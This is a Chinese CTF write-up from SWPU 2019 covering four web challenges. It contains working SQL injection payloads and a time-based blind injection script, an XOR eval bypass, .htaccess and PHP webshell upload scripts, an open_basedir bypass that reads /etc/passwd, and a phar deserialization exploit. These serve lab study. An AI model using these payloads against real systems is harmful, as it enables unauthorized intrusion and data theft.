[SWPU 2019]

0x01 Web1

一开始看到待管理员确认还以为是个xss,结果等了半天都没数据回传。。。。

输入一个单引号

发现有报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' limit 0,1' at line 1

看来又是个sql注入,用的是MariaDB,mysql的一个变体

fuzz一下发现#、--、or被过滤了,只能一个个select。。。(order有or,可以用group by)

很恶心的是要一直试到22个....

2,3可控

union没被过滤,可以联合注入但是比较麻烦的是鉴于or被过滤了informartion也不行了。。。。。

也就是说以前利用information_schema的方法没有用了

一种bypass的方式是利用 sys.schema

sys.schema_auto_increment_columnssys.schema_table_statistics_with_buffer

但是buuoj上貌似没有这个库...

一种是mysql.innodb_table_stats

可以爆表

payload:

title=%27/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'/*&content=123*/&ac=add

但是没有办法把字段的数据爆出来,因为不知道列名....

这里使用无列名的注入方法。

考虑这样的表格,使用select 1,2,3,4,5 union select * from persons可以得到一张新的表格

MariaDB [test]> select * from persons;
+------+----------+-----------+--------------+--------+
| ID   | LastName | FirstName | Address      | Credit |
+------+----------+-----------+--------------+--------+
|    1 | Gates    | Bill      | Xuanwumen 10 |   NULL |
|    1 | Gates    | Bill      | Xuanwumen 10 |   NULL |
|    2 | Xill     | Hiler     | Like 10      | 100.67 |
|    2 | Eki      | Hiler     | Nanfen 10    | 100.67 |
+------+----------+-----------+--------------+--------+

->

MariaDB [test]> select 1,2,3,4,5 union select * from persons;
+------+-------+-------+--------------+--------+
| 1    | 2     | 3     | 4            | 5      |
+------+-------+-------+--------------+--------+
|    1 | 2     | 3     | 4            |      5 |
|    1 | Gates | Bill  | Xuanwumen 10 |   NULL |
|    2 | Xill  | Hiler | Like 10      | 100.67 |
|    2 | Eki   | Hiler | Nanfen 10    | 100.67 |
+------+-------+-------+--------------+--------+

然后就可以套娃拿数据了,注意a这个别名(任意内容)是必须的(新生成的表)

MariaDB [test]> select `2` from (select 1,2,3,4,5 union select * from persons)a;          
+-------+
| 2     |
+-------+
| 2     |
| Gates |
| Xill  |
| Eki   |
+-------+

或者也可以将数字换成别名 在反引号不可用的情况下

MariaDB [test]> select b from (select 1,2 as b,3,4,5 union select * from persons)a;
+-------+
| b     |
+-------+
| 2     |
| Gates |
| Xill  |
| Eki   |
+-------+

一番fuzz以后(无列名注入猜测列数)可以构造payload:

title=%27/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'/*&content=123*/&ac=add

参考资料

不知道列名的情况下注入:

https://www.jianshu.com/p/6eba3370cfab

sys.schema

https://www.cnblogs.com/kunjian/p/11653853.html

bypass information.schema

https://www.anquanke.com/post/id/193512

0x15 [SWPU2019] web2

首页拿到源码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

很明显分为两部分,第一部分是利用get_the_flag()这个函数,而利用这个函数就要通过$hhh来构造一个webshell。

题目对$hhh作了很多限制,长度不大于18,不包含大部分可见字符(仍然可以利用^),并且使用字符数量种类不能超过12种。

可以利用异或操作,贴一种筛选脚本

import string
pt= string.printable
a= map(lambda x:x.encode("hex"),list(pt))
#print list(pt)
def findxor(ch):
    ret = []
    for i in range(256):
        for j in range(256):
            if (chr(i) not in list(pt)) & (chr(j) not in list(pt)):
                c = i^j
                if chr(c)==ch:
                    tmp=[]
                    tmp.append(str(hex(i)[2:])+"^"+str(hex(j))[2:])
                    ret.append(tmp)
    return ret

print findxor('_')
print findxor('G')
print findxor('E')
print findxor('T')

可以构造poc

_:['80^df']
G:['80^c7']
E:['80^c5']
T:['80^d4']
_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
//_=$_GET['%80']();&%80=phpinfo

同时通过 phpinfo() 可以得到很多信息

可以看到站点使用的中间件是 Apache2 ,因此对文件后缀的检查可以通过上传 .htaccess 来绕过.

可以看到站点使用的PHP版本是 PHP 7.2 , 所以 <script language='php'> ... </script> 这种写法已无法使用 . 要想绕过<?可以考虑base64等编码方式

这里我们调用get_the_flag就可以了

第二部分是利用get_the_flag上传一个完整的webshell

对后缀名进行了过滤,考虑上传.htaccess的方法

exif_imagetype() 对文件类型的检查可以通过添加图片的文件头( 例如 GIF98a )来绕过

需要注意的是.htaccess需要利用XMP的文件头防止因为之前出现无法识别的乱码无法解析

或者使用wbmp 格式的图片文件头

\x00\x00\x8a\x39\x8a\x39

然后卡了半天怎么上传file....

看了大佬的脚本,还是利用request

import requests

url ="http://635d1ee9-d566-41ce-8e6b-037abd89affe.node3.buuoj.cn/"

payload="/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"

htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .eki
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.eki"
"""

files = [('file',('.htaccess',htaccess,'image/jpeg'))]

data = {"upload":"Submit"}


r = requests.post(url=url+payload, data=data, files=files)
print(r.text)

然后上传我们的shell

import requests
import base64

url = "http://635d1ee9-d566-41ce-8e6b-037abd89affe.node3.buuoj.cn"
payload = "/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag"

htaccess = """
#define width 1
#define height 1
AddType application/x-httpd-php .eki
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.eki"
"""

files = [('file',('.htaccess',htaccess,'image/jpeg'))]

data = {"upload":"Submit"}

r = requests.post(url=url+payload, data=data, files=files)
print(r.text) 

shell = b"GIF89a"+b"00"+base64.b64encode("<?php eval($_REQUEST['eki']);?>")#防止污染+00隔断

files = [('file',('shell.eki',shell,'image/jpeg'))]

r = requests.post(url=url+payload, data=data, files=files)
print(r.text)

连上蚁剑发现只能访问/html下的文件

估计是open_basedir的问题

可以参考这个POC

mkdir("/tmp/test");chdir('/tmp/test/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));

拿到根目录下的flag,

但是根据html下的提示

预期解是通过攻击php-fpm的unix套接字来进行绕过openbase_dir和绕过disable_function

这里可利用大佬写好的脚本(见参考资料)跑

但是好像buuoj上复现不出来....

Web4

首先是一个盲注

#coding=utf-8
import requests
import json
import time
import string


def str2hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

url = """http://9c6b7c75-a61d-42ca-be00-d26eb3238bad.node3.buuoj.cn/index.php?r=Login/Login"""
sql = "select flag from flag"
pt= string.printable

def booltest(start,end):
    ret=""
    for i in range(start,end):
        l=1
        r=255
        while(l+1<r):
            mid=(l+r)/2
            #payload="0^((ascii(substr(({0}),{1},1)))>{2})^0#".format(sql,i,mid)
            #payload="select if((ascii(substr(({0}),{1},1)))>{2},sleep(3),1)".format(sql,i,mid)
            payload="select if(ascii(substr(({0}),{1},1))>{2},sleep(2),1)".format(sql,i,mid)
            #payload="union select * from images where id=if((ascii(substr(({0}),{1},1)))>{2},1,0)#".format(sql,i,mid)
            #print payload
            content = {
                'username':"asd';set @a=0x{0};prepare t from @a;execute t-- ".format(str2hex(payload)),
                'password':'test123'
            }
            data = json.dumps(content)
            #print data
            times=time.time()
            req=requests.post(url,data=data)
            if(req.status_code!=requests.codes.ok):
                continue
            #print req.text
            if (time.time()-times>=2):
                l=mid
            else :
                r=mid
        if(chr(r) not in pt):
            return 
        ret=ret+chr(r)
        print("working:"+ret) 
    print("Final:"+ret)

booltest(1,30)

然后拿到源代码glzjin_wants_a_girl_friend.zip

根目录下有flag.php

然后又到了代码审计环节

采取的MVC架构

先看看View

//UserIndex.php
if(!isset($img_file)) {//如果这里的$img_file可控就可以搞LFI了
    $img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">';      
function imgToBase64($img_file) {

    $img_base64 = '';
    if (file_exists($img_file)) {
        $app_img_file = $img_file; // 图片路径
        $img_info = getimagesize($app_img_file); // 取得图片的大小,类型等

        $fp = fopen($app_img_file, "r"); // 图片是否可读权限

        if ($fp) {
            $filesize = filesize($app_img_file);
            $content = fread($fp, $filesize);
            $file_content = chunk_split(base64_encode($content)); // base64编码
            switch ($img_info[2]) {           //判读图片类型
                case 1: $img_type = "gif";
                    break;
                case 2: $img_type = "jpg";
                    break;
                case 3: $img_type = "png";
                    break;
            }

            $img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码

        }
        fclose($fp);
    }

    return $img_base64; //返回图片的base64
}

考虑能不能用这个搞LFI

看看Controller

<?php 

/**
* 所有控制器的父类
*/
class BaseController
{
    /*
     * 加载视图文件
     * viewName 视图名称
     * viewData 视图分配数据
    */
    private $viewPath;
    public function loadView($viewName ='', $viewData = [])
    {
        $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
        if(file_exists($this->viewPath))
        {
            extract($viewData);//这里存在一个变量覆盖
            include $this->viewPath;
        }
    }

}

/**
* 用户控制器
*/
class UserController extends BaseController
{
    // 访问列表
    public function actionList()
    {
        $params = $_REQUEST;//我们可以控制这两个REQUEST
        $userModel = new UserModel();
        $listData = $userModel->getPageList($params);
        $this->loadView('userList', $listData );
    }
    public function actionIndex()
    {
        $listData = $_REQUEST;
        $this->loadView('userIndex',$listData);
    }

}

然后直接

参考资料

https://www.cnblogs.com/20175211lyz/p/11488051.html

php-fpm攻击脚本:

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

攻击PHP-FPM 实现Bypass Disable Functions

https://zhuanlan.zhihu.com/p/75114351

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#_1

从底层看open_basedir_bypass

https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

Web3

file.php 存在LFI 能直接读file 但是很奇怪不能base64wrap 后来看源码发现是用的highlight

获得逻辑

//file.php
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) {  //file_exits phar反序列化的切入点
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>
//base.php
<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->
//class.php
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg 提示了phar反序列化
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>
//function.php
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { //此处泄露了上传文件地址
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

很显然的phar反序列化攻击

Exp

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$test = new Test();
$test->params["source"]="/var/www/html/f1ag.php";

$show = new Show();
$show->str['str']=$test;

$payload =new C1e4r($show);

$phar = new Phar('eki.jpg.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置 stub,增加 gif 文件头
$phar ->addFromString('test.txt','test');  //添加要压缩的文件

$phar -> setMetadata($payload);  //将自定义 meta-data 存入 manifest
$phar -> stopBuffering();

$filename = md5("eki"."222.90.67.205").".jpg";

echo $filename;
?>
© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2021-03-09 16:35:16

results matching ""

    No results matching ""